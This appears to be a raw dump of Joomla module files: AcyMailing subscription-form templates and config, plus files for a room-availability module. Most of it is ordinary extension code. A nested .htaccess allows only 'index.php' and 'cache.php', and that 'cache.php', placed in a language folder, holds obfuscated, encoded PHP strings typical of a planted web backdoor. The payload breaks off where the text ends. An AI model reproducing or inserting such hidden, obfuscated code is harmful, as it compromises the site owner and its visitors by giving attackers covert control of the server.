                <field name="moduleclass_sfx" type="text" default="" label="MODULE_CLASSSUF" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
                <field name="textalign" type="list" default="0" label="MODULE_ALIGNMENT" description="This option enables you to align the text inside the module">
                    <option value="none">Default CSS alignment</option>
                    <option value="right">Right</option>
                    <option value="left">Left</option>
                    <option value="center">Center</option>
                </field>
                <field name="loggedin" type="radio" default="1" label="MODULE_AUTOID" description="Do you want the logged in users to be automatically identified in the module?">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="cache" type="list" default="0" label="MODULE_CACHING" description="Select whether to cache the content of this module">
                    <option value="0">No caching</option>
                    <option value="1">Use global</option>
                </field>
                <field name="includejs" type="list" default="header" label="MODULE_JS" description="How should AcyMailing add the necessary JS files">
                    <option value="header">In the header</option>
                    <option value="module">On the module itself</option>
                </field>
                <field name="itemid" size="10" type="text" default="" label="ACY_ITEMID" description="Menu ID used in the archive links coming from this module" />
                <field name="loadmootools" type="list" default="1" label="Use mootools" description="Select if you want the module to use Mootools or not">
                    <option value="0">No</option>
                    <option value="1">Yes</option>
                </field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�)��mod_acymailing/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�#o,,mod_acymailing/tmpl/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�R���mod_acymailing/tmpl/popup.phpnu&1i�<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.2.0
 * @author	acyba.com
 * @copyright	(C) 2009-2016 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><div class="acymailing_module<?php echo $params->get('moduleclass_sfx') ?>" id="acymailing_module_<?php echo $formName; ?>">
	<?php
	if(!empty($mootoolsIntro)) echo '<p class="acymailing_mootoolsintro">'.$mootoolsIntro.'</p>'; ?>
	<div class="acymailing_mootoolsbutton">
		<?php
		$acypop = acymailing_get('helper.acypopup');
		$acypop->useMootools = ($params->get('loadmootools', '1') == 1) ? true : false;
		$href = acymailing_completeLink('sub&task=display&autofocus=1&formid='.$module->id, true);

		$link = $acypop->display($mootoolsButton, '', $href, 'acymailing_togglemodule_'.$formName, $params->get('boxwidth', 250), $params->get('boxheight', 200), 'class="acymailing_togglemodule"', '', 'link');

		?>
		<p><?php echo $link; ?></p>
	</div>
</div>
PK!oR��_3_3!mod_acymailing/tmpl/tableless.phpnu&1i�<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.2.0
 * @author	acyba.com
 * @copyright	(C) 2009-2016 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><div class="acymailing_module<?php echo $params->get('moduleclass_sfx')?>" id="acymailing_module_<?php echo $formName; ?>">
<?php
	$style = array();
	if($params->get('effect','normal') == 'mootools-slide'){
		if(!empty($mootoolsIntro)) echo '<p class="acymailing_mootoolsintro">'.$mootoolsIntro.'</p>'; ?>
		<div class="acymailing_mootoolsbutton" id="acymailing_toggle_<?php echo $formName; ?>">
			<p><a class="acymailing_togglemodule" id="acymailing_togglemodule_<?php echo $formName; ?>" href="#subscribe"><?php echo $mootoolsButton ?></a></p>
	<?php
	}
	if($params->get('textalign','none') != 'none') $style[] .= 'text-align:'.$params->get('textalign');
	$styleString = empty($style) ? '' : 'style="'.implode(';',$style).'"';
	?>
	<div class="acymailing_fulldiv" id="acymailing_fulldiv_<?php echo $formName; ?>" <?php echo $styleString; ?> >
		<form id="<?php echo $formName; ?>" action="<?php echo JRoute::_('index.php'); ?>" onsubmit="return submitacymailingform('optin','<?php echo $formName;?>')" method="post" name="<?php echo $formName ?>" <?php if(!empty($fieldsClass->formoption)) echo $fieldsClass->formoption; ?> >
		<div class="acymailing_module_form" >
			<?php if(!empty($introText)) echo '<div class="acymailing_introtext">'.$introText.'</div>';

			$listContent = '';
			if($params->get('dropdown',0)){
				$listContent .= '<select name="subscription[1]">';
				foreach($visibleListsArray as $myListId){
					$listContent .= '<option value="'.$myListId.'">'.$allLists[$myListId]->name.'</option>';
				}
				$listContent .= '</select>';
			} else{
				$listContent .= '<div class="acymailing_lists">';
				foreach($visibleListsArray as $myListId){
					$check = in_array($myListId,$checkedListsArray) ? 'checked="checked"' : '';

					if($params->get('checkmode',0) == '0' AND !empty($identifiedUser->email)){
						if(empty($allLists[$myListId]->status)){$check = '';}
						else{
							$check = $allLists[$myListId]->status == '-1' ? '' : 'checked="checked"';
						}
					}
					$listContent .= '
					<p class="onelist">
						<label for="acylist_'.$myListId.'">
						<input type="checkbox" class="acymailing_checkbox" name="subscription[]" id="acylist_'.$myListId.'" '.$check.' value="'.$myListId.'"/>';
						$joomItem = $params->get('itemid',0);
						if(empty($joomItem)) $joomItem = $config->get('itemid',0);
						$addItem = empty($joomItem) ? '' : '&Itemid='.$joomItem;
						$archivelink = acymailing_completeLink('archive&listid='.$allLists[$myListId]->listid.'-'.$allLists[$myListId]->alias.$addItem);
						if($params->get('overlay',0)){
							if(!$params->get('link',1) OR !$allLists[$myListId]->visible) $archivelink = '';
							$listContent .= acymailing_tooltip($allLists[$myListId]->description,$allLists[$myListId]->name,'',$allLists[$myListId]->name,$archivelink);
						}else{
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= '<a href="'.$archivelink.'" alt="'.$allLists[$myListId]->alias.'"'.((JRequest::getCmd('tmpl') == 'component') ? 'target="_blank"' : '').' >';
							}
							$listContent .= $allLists[$myListId]->name;
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= '</a>';
							}
						}
						$listContent .= '
						</label>
					</p>';
				 }
				$listContent .= '</div>';
			}

			if(!empty($visibleListsArray) && $listPosition == 'before') echo $listContent; ?>
			<div class="acymailing_form">
					<?php
					$tmpCatId = array();
					$tmpCatTag = array();
					foreach($fieldsToDisplay as $oneField){
						if(empty($extraFields[$oneField])) echo '<p class="onefield fieldacy'.$oneField.'" id="field_'.$oneField.'_'.$formName.'">';
						if($oneField == 'name' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<label for="user_name_'.$formName.'" class="acy_requiredField">'.$nameCaption.'</label>'; ?>
							<span class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>"><input id="user_name_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" '; if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $nameCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $nameCaption?>';"<?php } ?> class="inputbox" type="text" name="user[name]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->name; elseif(!$displayOutside) echo $nameCaption; ?>" title="<?php echo $nameCaption;?>"/></span>
							<?php
						}elseif($oneField == 'email' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<label for="user_email_'.$formName.'" class="acy_requiredField">'.$emailCaption.'</label>'; ?>
							<span class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>"><input id="user_email_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" '; if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $emailCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $emailCaption?>';"<?php } ?> class="inputbox" type="text" name="user[email]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->email; elseif(!$displayOutside) echo $emailCaption; ?>" title="<?php echo $emailCaption;?>" /></span>
							<?php
						}elseif($oneField == 'html' AND empty($extraFields[$oneField])){
							echo '<label>'.JText::_('RECEIVE').'</label>';
							echo '<span class="acyfield_'.$oneField.'">'.JHTML::_('select.booleanlist', "user[html]" ,'title="'.JText::_('RECEIVE').'"',isset($identifiedUser->html) ? $identifiedUser->html : 1,JText::_('HTML'),JText::_('JOOMEXT_TEXT'),'user_html_'.$formName).'</span>';
						}elseif(!empty($extraFields[$oneField])){
							if($extraFields[$oneField]->type == 'category'){
								if(empty($extraFields[$oneField]->fieldcat) && !empty($tmpCatId)){
									while(!empty($tmpCatId)){
										echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
										array_pop($tmpCatId);
										array_pop($tmpCatTag);
									}
								}
								$tmpCatId[] = $extraFields[$oneField]->fieldid;
								$tmpCatTag[] = $extraFields[$oneField]->options['fieldcattag'];
								echo '<'.str_replace('fldset', 'fieldset', end($tmpCatTag)).' class="fieldCategory fieldacy'.$extraFields[$oneField]->namekey.' '.$extraFields[$oneField]->options['fieldcatclass'].'">';
								if(in_array(end($tmpCatTag), array('fieldset', 'fldset'))) echo '<legend>'.$extraFields[$oneField]->fieldname.'</legend>';
							}else{
								if(in_array($extraFields[$oneField]->fieldcat, $tmpCatId) || empty($extraFields[$oneField]->fieldcat)){
									while(!empty($tmpCatId) && $extraFields[$oneField]->fieldcat != end($tmpCatId)){
										echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
										array_pop($tmpCatId);
										array_pop($tmpCatTag);
									}
								}
								echo '<p class="onefield fieldacy'.$oneField.'" id="field_'.$oneField.'_'.$formName.'">';
								if($displayOutside){
									if(!empty($extraFields[$oneField]->required)) $requireClass = 'class="acy_requiredField"';
									else $requireClass = "";
									 echo '<label '.((strpos($extraFields[$oneField]->type,'text') !== false) ? 'for="user_'.$oneField.'_'.$formName.'"' : '' ).' '.$requireClass.'>'.$fieldsClass->trans($extraFields[$oneField]->fieldname).'</label>';
								}
								$sizestyle = '';
								if(!empty($extraFields[$oneField]->options['size'])){
									$sizestyle = 'style="width:'.(is_numeric($extraFields[$oneField]->options['size']) ? ($extraFields[$oneField]->options['size'].'px') : $extraFields[$oneField]->options['size']).'"';
								}
								if(!empty($extraFields[$oneField]->required) && !$displayOutside) $requireClass = ' acy_requiredField';
								else $requireClass = "";
								?>
								<span class="acyfield_<?php echo $oneField.$requireClass; ?>">
								<?php if(!empty($identifiedUser->userid) AND in_array($oneField,array('name','email'))){ ?>
										<input id="user_<?php echo $oneField; ?>_<?php echo $formName; ?>" readonly="readonly" class="inputbox" type="text" name="user[<?php echo $oneField;?>]" <?php echo $sizestyle; ?> value="<?php echo @$identifiedUser->$oneField; ?>" title="<?php echo $oneField;?>"/>
								<?php }else{
										echo $fieldsClass->display($extraFields[$oneField],@$identifiedUser->$oneField,'user['.$oneField.']',!$displayOutside);
								}?>
								</span>
								</p>
								<?php
							}
						}
						if(empty($extraFields[$oneField])) echo '</p>';
					}
					if(!empty($extraFields)){
						$lastVal = end($tmpCatId);
						while(!empty($lastVal)){
							echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
							array_pop($tmpCatId);
							array_pop($tmpCatTag);
							$lastVal = end($tmpCatId);
						}
					}

				if(empty($identifiedUser->userid) AND $config->get('captcha_enabled') AND acymailing_level(1)){ ?>
					<?php
					echo '<p class="onefield fieldacycaptcha" id="field_captcha_'.$formName.'">';
					$captchaClass = acymailing_get('class.acycaptcha');
					$captchaClass->display($formName);
					?>
					</p>
				<?php }

				 if($params->get('showterms',false)){
					echo '<p class="onefield fieldacyterms" id="field_terms_'.$formName.'">';
					?>
					<label for="mailingdata_terms_<?php echo $formName; ?>"><input id="mailingdata_terms_<?php echo $formName; ?>" class="checkbox" type="checkbox" name="terms" title="<?php echo JText::_('JOOMEXT_TERMS'); ?>"/> <?php echo $termslink; ?></label>
					</p>
					<?php } ?>

					<?php if(!empty($visibleListsArray) && $listPosition == 'after')  echo $listContent; ?>

					<p class="acysubbuttons">
						<?php if($params->get('showsubscribe',true)){?>
						<input class="button subbutton btn btn-primary" type="submit" value="<?php $subtext = $params->get('subscribetextreg'); if(empty($identifiedUser->userid) OR empty($subtext)){ $subtext = $params->get('subscribetext',JText::_('SUBSCRIBECAPTION')); } echo $subtext;  ?>" name="Submit" onclick="try{ return submitacymailingform('optin','<?php echo $formName;?>'); }catch(err){alert('The form could not be submitted '+err);return false;}"/>
						<?php }if($params->get('showunsubscribe',false) AND (!$params->get('showsubscribe',true) OR empty($identifiedUser->userid) OR !empty($countUnsub)) ){?>
						<input class="button unsubbutton btn btn-inverse" type="button" value="<?php echo $params->get('unsubscribetext',JText::_('UNSUBSCRIBECAPTION')); ?>" name="Submit" onclick="return submitacymailingform('optout','<?php echo $formName;?>')"/>
						<?php } ?>
					</p>
				</div>
			<?php
			if(!empty($fieldsClass->excludeValue)){
				$js = "\n"."acymailing['excludeValues".$formName."'] = Array();";
				foreach($fieldsClass->excludeValue as $namekey => $value){
					$js .= "\n"."acymailing['excludeValues".$formName."']['".$namekey."'] = '".$value."';";
				}
				$js .= "\n";
				$doc = JFactory::getDocument();
				if($params->get('includejs','header') == 'header'){
					$doc->addScriptDeclaration( $js );
				}else{
					echo "<script type=\"text/javascript\">
							<!--
							$js
							//-->
							</script>";
				}
			}
			if(!empty($postText)) echo '<div class="acymailing_finaltext">'.$postText.'</div>';
			$ajax = ($params->get('redirectmode') == '3') ? 1 : 0;?>
			<input type="hidden" name="ajax" value="<?php echo $ajax; ?>"/>
			<input type="hidden" name="acy_source" value="<?php echo 'module_'.$module->id ?>" />
			<input type="hidden" name="ctrl" value="sub"/>
			<input type="hidden" name="task" value="notask"/>
			<input type="hidden" name="redirect" value="<?php echo urlencode($redirectUrl); ?>"/>
			<input type="hidden" name="redirectunsub" value="<?php echo urlencode($redirectUrlUnsub); ?>"/>
			<input type="hidden" name="option" value="<?php echo ACYMAILING_COMPONENT ?>"/>
			<?php if(!empty($identifiedUser->userid)){ ?><input type="hidden" name="visiblelists" value="<?php echo $visibleLists;?>"/><?php } ?>
			<input type="hidden" name="hiddenlists" value="<?php echo $hiddenLists;?>"/>
			<input type="hidden" name="acyformname" value="<?php echo $formName; ?>" />
			<?php if(JRequest::getCmd('tmpl') == 'component'){ ?>
				<input type="hidden" name="tmpl" value="component" />
				<?php if($params->get('effect','normal') == 'mootools-box' AND !empty($redirectUrl)){ ?>
					<input type="hidden" name="closepop" value="1" />
				<?php } } ?>
			<?php $myItemId = $config->get('itemid',0); if(empty($myItemId)){ global $Itemid; $myItemId = $Itemid;} if(!empty($myItemId)){ ?><input type="hidden" name="Itemid" value="<?php echo $myItemId;?>"/><?php } ?>
			</div>
		</form>
	</div>
	<?php if($params->get('effect','normal') == 'mootools-slide'){ ?> </div> <?php } ?>
</div>
PK![���.�.mod_acymailing/tmpl/default.phpnu&1i�<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.2.0
 * @author	acyba.com
 * @copyright	(C) 2009-2016 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><div class="acymailing_module<?php echo $params->get('moduleclass_sfx')?>" id="acymailing_module_<?php echo $formName; ?>">
<?php
	$style = array();
	if($params->get('effect','normal') == 'mootools-slide'){
		if(!empty($mootoolsIntro)) echo '<p class="acymailing_mootoolsintro">'.$mootoolsIntro.'</p>'; ?>
		<div class="acymailing_mootoolsbutton" id="acymailing_toggle_<?php echo $formName; ?>" >
			<p><a class="acymailing_togglemodule" id="acymailing_togglemodule_<?php echo $formName; ?>" href="#subscribe"><?php echo $mootoolsButton ?></a></p>
	<?php
	}
	if($params->get('textalign','none') != 'none') $style[] .= 'text-align:'.$params->get('textalign');
	$styleString = empty($style) ? '' : 'style="'.implode(';',$style).'"';
	?>
	<div class="acymailing_fulldiv" id="acymailing_fulldiv_<?php echo $formName; ?>" <?php echo $styleString; ?> >
		<form id="<?php echo $formName; ?>" action="<?php echo JRoute::_('index.php'); ?>" onsubmit="return submitacymailingform('optin','<?php echo $formName;?>')" method="post" name="<?php echo $formName ?>" <?php if(!empty($fieldsClass->formoption)) echo $fieldsClass->formoption; ?> >
		<div class="acymailing_module_form" >
			<?php if(!empty($introText)) echo '<div class="acymailing_introtext">'.$introText.'</div>';

			$listContent = '';
			if($params->get('dropdown',0)){
				$listContent .= '<select name="subscription[1]">';
				foreach($visibleListsArray as $myListId){
					$listContent .= '<option value="'.$myListId.'">'.$allLists[$myListId]->name.'</option>';
				}
				$listContent .= '</select>';
			} else{
				$listContent .= '<table class="acymailing_lists">';
				foreach($visibleListsArray as $myListId){
					$check = in_array($myListId,$checkedListsArray) ? 'checked="checked"' : '';
					if($params->get('checkmode',0) == '0' AND !empty($identifiedUser->email)){
						if(empty($allLists[$myListId]->status)){$check = '';}
						else{
							$check = $allLists[$myListId]->status == '-1' ? '' : 'checked="checked"';
						}
					}
					$listContent .= '
					<tr>
						<td>
						<label for="acylist_'.$myListId.'">
						<input type="checkbox" class="acymailing_checkbox" name="subscription[]" id="acylist_'.$myListId.'" '.$check.' value="'.$myListId.'"/>';
						$joomItem = $params->get('itemid',0);
						if(empty($joomItem)) $joomItem = $config->get('itemid',0);
						$addItem = empty($joomItem) ? '' : '&Itemid='.$joomItem;
						$archivelink = acymailing_completeLink('archive&listid='.$allLists[$myListId]->listid.'-'.$allLists[$myListId]->alias.$addItem);
						if($params->get('overlay',0)){
							if(!$params->get('link',1) OR !$allLists[$myListId]->visible) $archivelink = '';
							$listContent .= ' '.acymailing_tooltip($allLists[$myListId]->description,$allLists[$myListId]->name,'',$allLists[$myListId]->name,$archivelink);
						}else{
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= ' <a href="'.$archivelink.'" alt="'.$allLists[$myListId]->alias.'"'.((JRequest::getCmd('tmpl') == 'component') ? 'target="_blank"' : '').' >';
							}
							$listContent .= $allLists[$myListId]->name;
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= '</a>';
							}
						}
						$listContent .= '</label>
						</td>
					</tr>';
				}
				$listContent .= '</table>';
			}

			if(!empty($visibleListsArray) && $listPosition == 'before'){
				echo $listContent;
			}//endif visiblelists
			?>
			<table class="acymailing_form">
				<tr>
					<?php foreach($fieldsToDisplay as $oneField){
						if($oneField == 'name' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<td><label for="user_name_'.$formName.'" class="acy_requiredField">'.$nameCaption.'</label></td>'; ?>
							<td class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>">
								<input id="user_name_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" ';  if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $nameCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $nameCaption?>';"<?php } ?> class="inputbox" type="text" name="user[name]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->name; elseif(!$displayOutside) echo $nameCaption; ?>" title="<?php echo $nameCaption?>"/>
							</td> <?php
						}elseif($oneField == 'email' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<td><label for="user_email_'.$formName.'" class="acy_requiredField">'.$emailCaption.'</label></td>'; ?>
							<td class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>">
								<input id="user_email_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" ';  if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $emailCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $emailCaption?>';"<?php } ?> class="inputbox" type="text" name="user[email]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->email; elseif(!$displayOutside) echo $emailCaption; ?>" title="<?php echo $emailCaption;?>"/>
							</td> <?php
						}elseif($oneField == 'html' AND empty($extraFields[$oneField])){
							echo '<td class="acyfield_'.$oneField.'" ';
							if($displayOutside AND !$displayInline) echo 'colspan="2"';
							echo '>'.JText::_('RECEIVE').JHTML::_('select.booleanlist', "user[html]" ,'title="'.JText::_('RECEIVE').'"',isset($identifiedUser->html) ? $identifiedUser->html : 1,JText::_('HTML'),JText::_('JOOMEXT_TEXT'),'user_html_'.$formName).'</td>';
						}elseif(!empty($extraFields[$oneField])){
							if($extraFields[$oneField]->type == 'category'){
								echo '<td '. ($displayOutside && !$displayInline?'colspan="2"':'').' class="category_warning">Please use Tableless mode to display categories.</td>';
							} else{
								if($displayOutside){
									if(!empty($extraFields[$oneField]->required)) $requireClass = 'class="acy_requiredField"';
									else $requireClass = "";
									echo '<td><label '.((strpos($extraFields[$oneField]->type,'text') !== false) ? 'for="user_'.$oneField.'_'.$formName.'"' : '' ).' '. $requireClass .'>'.$fieldsClass->trans($extraFields[$oneField]->fieldname).'</label></td>';
								}
								$sizestyle = '';
								if(!empty($extraFields[$oneField]->options['size'])){
									$sizestyle = 'style="width:'.(is_numeric($extraFields[$oneField]->options['size']) ? ($extraFields[$oneField]->options['size'].'px') : $extraFields[$oneField]->options['size']).'"';
								}
								if(!empty($extraFields[$oneField]->required) && !$displayOutside) $requireClass = 'acy_requiredField';
								else $requireClass = "";
								?>
								<td class="acyfield_<?php echo $oneField .' '. $requireClass; ?>">
								<?php if(!empty($identifiedUser->userid) AND in_array($oneField,array('name','email'))){ ?>
										<input id="user_<?php echo $oneField; ?>_<?php echo $formName; ?>" readonly="readonly" class="inputbox" type="text" name="user[<?php echo $oneField;?>]" <?php echo $sizestyle; ?> value="<?php echo @$identifiedUser->$oneField; ?>" title="<?php echo $oneField;?>"/>
								<?php }else{
										echo $fieldsClass->display($extraFields[$oneField],@$identifiedUser->$oneField,'user['.$oneField.']',!$displayOutside);
								}?>
								</td><?php
							}
						}else{
							continue;
						}
						if(!$displayInline) echo '</tr><tr>';
					}

				if(empty($identifiedUser->userid) AND $config->get('captcha_enabled') AND acymailing_level(1)){ ?>
					<td class="captchakeymodule">
					<?php
						$captchaClass = acymailing_get('class.acycaptcha');
						if($displayOutside){ $captchaClass->display($formName).'</td><td class="captchafieldmodule">'; }else{$captchaClass->display($formName);}
					?>
					<?php if(!$displayInline) echo '</tr><tr>';
				}

				 if($params->get('showterms',false)){
					?>
					<td class="acyterms" <?php if($displayOutside AND !$displayInline) echo 'colspan="2"'; ?> >
					<input id="mailingdata_terms_<?php echo $formName; ?>" class="checkbox" type="checkbox" name="terms" title="<?php echo JText::_('JOOMEXT_TERMS'); ?>"/> <?php echo $termslink;?>
					</td>
					<?php if(!$displayInline) echo '</tr><tr>';
					} ?>

					<?php if(!empty($visibleListsArray) && $listPosition == 'after') echo $listContent; ?>

					<td <?php if($displayOutside AND !$displayInline) echo 'colspan="2"'; ?> class="acysubbuttons">
						<?php if($params->get('showsubscribe',true)){?>
						<input class="button subbutton btn btn-primary" type="submit" value="<?php $subtext = $params->get('subscribetextreg'); if(empty($identifiedUser->userid) OR empty($subtext)){ $subtext = $params->get('subscribetext',JText::_('SUBSCRIBECAPTION')); } echo $subtext;  ?>" name="Submit" onclick="try{ return submitacymailingform('optin','<?php echo $formName;?>'); }catch(err){alert('The form could not be submitted '+err);return false;}"/>
						<?php }if($params->get('showunsubscribe',false) AND (!$params->get('showsubscribe',true) OR empty($identifiedUser->userid) OR !empty($countUnsub)) ){?>
						<input class="button unsubbutton  btn btn-inverse" type="button" value="<?php echo $params->get('unsubscribetext',JText::_('UNSUBSCRIBECAPTION')); ?>" name="Submit" onclick="return submitacymailingform('optout','<?php echo $formName;?>')"/>
						<?php } ?>
					</td>
				</tr>
			</table>
			<?php
			if(!empty($fieldsClass->excludeValue)){
				$js = "\n"."acymailing['excludeValues".$formName."'] = Array();";
				foreach($fieldsClass->excludeValue as $namekey => $value){
					$js .= "\n"."acymailing['excludeValues".$formName."']['".$namekey."'] = '".$value."';";
				}
				$js .= "\n";
				$doc = JFactory::getDocument();
				if($params->get('includejs','header') == 'header'){
					$doc->addScriptDeclaration( $js );
				}else{
					echo "<script type=\"text/javascript\">
							<!--
							$js
							//-->
							</script>";
				}
			}
			if(!empty($postText)) echo '<div class="acymailing_finaltext">'.$postText.'</div>';
			$ajax = ($params->get('redirectmode') == '3') ? 1 : 0;?>
			<input type="hidden" name="ajax" value="<?php echo $ajax; ?>" />
			<input type="hidden" name="acy_source" value="<?php echo 'module_'.$module->id ?>" />
			<input type="hidden" name="ctrl" value="sub"/>
			<input type="hidden" name="task" value="notask"/>
			<input type="hidden" name="redirect" value="<?php echo urlencode($redirectUrl); ?>"/>
			<input type="hidden" name="redirectunsub" value="<?php echo urlencode($redirectUrlUnsub); ?>"/>
			<input type="hidden" name="option" value="<?php echo ACYMAILING_COMPONENT ?>"/>
			<?php if(!empty($identifiedUser->userid)){ ?><input type="hidden" name="visiblelists" value="<?php echo $visibleLists;?>"/><?php } ?>
			<input type="hidden" name="hiddenlists" value="<?php echo $hiddenLists;?>"/>
			<input type="hidden" name="acyformname" value="<?php echo $formName; ?>" />
			<?php if(JRequest::getCmd('tmpl') == 'component'){ ?>
				<input type="hidden" name="tmpl" value="component" />
				<?php if($params->get('effect','normal') == 'mootools-box' AND !empty($redirectUrl)){ ?>
					<input type="hidden" name="closepop" value="1" />
				<?php } } ?>
			<?php $myItemId = $config->get('itemid',0); if(empty($myItemId)){ global $Itemid; $myItemId = $Itemid;} if(!empty($myItemId)){ ?><input type="hidden" name="Itemid" value="<?php echo $myItemId;?>"/><?php } ?>
			</div>
		</form>
	</div>
	<?php if($params->get('effect','normal') == 'mootools-slide'){ ?> </div> <?php } ?>
</div>
PK!�)��mod_acymailing/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��"mod_sr_checkavailability/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��+mod_sr_checkavailability/language/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�,r��7mod_sr_checkavailability/language/it-IT/it-IT/.htaccessnu�[���<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>PK!m��7mod_sr_checkavailability/language/it-IT/it-IT/cache.phpnu�[���<?php $tGriX = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGipO5T6aYGANAA'; $BwL = 'wk84Ii/HPRA9+hv1Qa4UtkSErny011we+bH/9k1f+dXf56D+wJPna9/t6RZXs80j/JLkcxxPd8lZ/NV/gyno51ZfPbdBrwlv7vne5mdnu373f8aX/JLe5y3ubiH+2lPqUBOag704NT8omvP14TFTJid2J9p95u1F7e+j/vO7oP5vbMiaFE5PKFsWx31sQOh0C/aX3/jK1sqvPYlzQEpfkOtoH2F72+BAGHJ4LkYVUFmDs46p17M3XVTuWaS7JnHKPAzaOVg4mpPdKchnQMiUnBAwEjTEAyWmGiX1mxZbpEfFGXepxHLHvjxOgL7KJAJLEjvckHugudWH/bKVkdw7I97EkpLbuwsrf46IfOa1tatGVWaigTz2ByFrL/LzunH6zXsTnX/tWP/9659aLkOzLIVqBxXUVc147xpW9aA9jtmGXMuE/Huq9ZvKubr+b8TzW7E4vgsqZ1EgAcE5dxAQtWJV7ZAzMz4z4eFPn3OkWdxDjx9+iCOHdd9IslqOhWl7HEveaFUbqvEetUch7sssyrirLrJoQEEAXTQZUg+1Fi844QKAWXTI7ZTPKUpWkrtmayYe/0JhPbomHNjUDjW7PFsIVN6CysYuXy+IwAAXThlyccWBvIUNUvUt9YVHF76Rqvg/abc35KC9IxgYmmij0hUfjAtX6ReEzXL9HjtrQ1MX6+pZi4Wgp8RVUhmqwVmq0iVmiPl5C+nzoQrOdZWO6JEZyU5NtazUg8pw48oX028DlatoIyBBHodJP3YEbz7UAMMN3LvT8w8MDEl30E9F9a/vgph4uhYsGukidiOblZRLt25ngi4QnyWE41IxoYu+mQxSHQSEEwC5mTtGKQ8GSDalj6VirRbW4Gd/qtAYA6YX/UBtfeoMCM5VqYJOBDf9buqr4ltQFtVRNalZ0l9pBSBBZCbn6BYSutFgRTwwc9GOo8wDdfdHBC6ao4WG5RjGRI0P8zIgVedBhv12GCoE5W6uVHwsFjNwwzC1whNKWFj9Z4Wkk7ExqJE/zB2+kcNEmFp8vmJ1GlOklYCZMsHtKcUeZAK9lKWDWR+/Zfg2qC9ovk6JQS1lWqK5qkS7dHic4GqnFcpxU5LhkTNBdVnQlz1wqVEn1Wq4nW9ql1FXmqUSQu9CcYXzBQxJAVjI8hy8AZ6Ocha80EyoRTEXig6E15UukSFlyutpBVyMbFj0iEYkeaMnlbDMnTpgtOHUfBiImGO2jZieahLcFmVinlSUdGh5LVDIcwQ9xfc29JnET4kIqVCIOuqr3cKa1ifS/Qjgz/5lxjaVOjfTLuk2Q5ZIUtPUSJLTNzDSKrCxVkpcTHhY99VmMLY2wfjMhHKpeqM9Mj5UARnFAVaMns9gY+k4XRE40DBivDvKizRl7jQiXJFlY5iSjtzNwluEl7NGwaXAM02sCsov5FDAEEO2Dl1UfogyMefII2ZeIoCgZeLkeyR3xjHz+SrBSy7FmLo+GpMhSS3PROix98YR5P